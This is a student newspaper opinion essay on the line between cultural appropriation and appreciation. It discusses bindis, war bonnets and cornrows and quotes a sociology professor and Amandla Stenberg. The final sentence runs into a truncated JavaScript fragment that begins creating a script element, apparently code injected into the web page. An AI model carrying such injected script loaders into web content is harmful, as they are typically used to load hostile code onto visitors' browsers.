Cultural Appropriation vs Cultural Appreciation

When Do You Cross the Line?


Kamille Ritchie, Cactus Student Editor

If there’s a hot topic issue still flooding the walls of social media, it is cultural appropriation. For those in the dark, cultural appropriation is defined by Wikipedia as “the adoption or use of elements of one culture by members of a different culture.” During the last several years, it seems the public’s documented awareness of cultural appropriation, especially by pop culture figures, has increased. You might think everyone has taken something from another culture at one point: what’s the kerfuffle? It really comes down to one thing: what is the motive behind the cultural appropriation and are you representing that culture in a positive and understanding light?

Throughout history people of all shades and creeds have been oppressed at some point in time by someone else. They have been stripped of their identity and forced to conform to another. However, they somehow manage to separate themselves from their oppressors. Culture is all they have. Perhaps that’s the reason people take cultural appropriation so seriously.

In my honest opinion, the appeal of cultural appropriation is understandable. When interviewed for this article, Dr. Dawn Conley, a Sociology professor at CAC, brought up something I didn’t expect. There are people still trying to find their identity. “If one doesn’t know their own culture or feel they can’t identify with a particular culture… they start grabbing for other cultures to make themselves who they are.” If someone doesn’t feel grounded then they have to find a foundation elsewhere.

While many appropriators argue that the acts are merely to show their respect and appreciation, the context does not always justify their argument. It’s easy to cross the line between appreciating and appropriating because it’s often blurred. A person should take several things into consideration.

(1) Some facets of a person’s ethnic background should never become a costume or be used in a joking manner. Doing so only reinforces stereotypes. Do not culturally exploit a group for monetary gain. In a video for a class project, “Don’t Cash Crop My Cornrows”, actress Amandla Stenberg, best known as “Rue” in The Hunger Games, briefly discusses the history of black hair as well as how the adoption of elements of black culture contributed to the success of many pop figures today. Now, while it’s okay to go and make your money, be conscious that stereotypes can be potentially harmful and damaging if a person knows nothing about the culture. As a public figure, a celebrity’s level of responsibility is considerably higher, so they need to be more cautious.

(2) Understand the significance of an item in that person’s culture. Recently, the bindi has grown in popularity amongst non-Hindu women. A bindi represents the third eye in Hindu religion and is used to ward off bad luck. For centuries, women of India have worn this dot on their forehead to show their status in life. When you think of Native Americans, the image of a feathered hat might come to mind. Known as “War bonnets”, these head pieces are reserved for respected figures of power. Many pictures and costumes on social media feature women and children donning the head pieces although men traditionally wear these after earning them. The fact is no matter how “cool”, “exotic”, or “pretty” it may be, you shouldn’t use a sacred object to stand out against your counterparts.

(3)If you adopt an aspect of another’s culture, do not rebrand it as yours. Items such as war bonnets are now being referred to as “Hipster headdresses”. According to Elle magazine, at one point, an attempt was made to rebrand cornrows as a Caucasian style for a must have resort look. “When somebody doesn’t want to give another culture credit. It’s almost like cultural plagiarism,” says Dr. Conley. Personally, I remember dreading going to school with cornrows and braids because I hated how people made me feel. Now that I’m older and as I keep seeing certain pop culture icons receiving praise for their “innovation”, it does strike a nerve.

(4) If you love the culture, love the person. For example, while black culture is trending, I only hope people take time to reflect on the violence against black people in this country. “What if Americans loved Black people as much as they love Black culture?” asks Stenberg. Girls who wear Bindis and Hijabs are thought to be oppressed, old-fashioned, or stuck in a backward society, but when someone else wears them, it’s seen differently. You can’t cherry pick a culture. “There’s no excuse under any circumstance for people not to respect or value another culture…” says Dr. Conley. I couldn’t agree more.

I am hoping your reading of this article, helps you be more conscious of your choices as well as culturally aware. If you want to voice your opinion on the topic of cultural appropriation, you can email me at [email protected]. Be sure to put my name in the subject field.var d=document;var s=d.createElement(‘script’);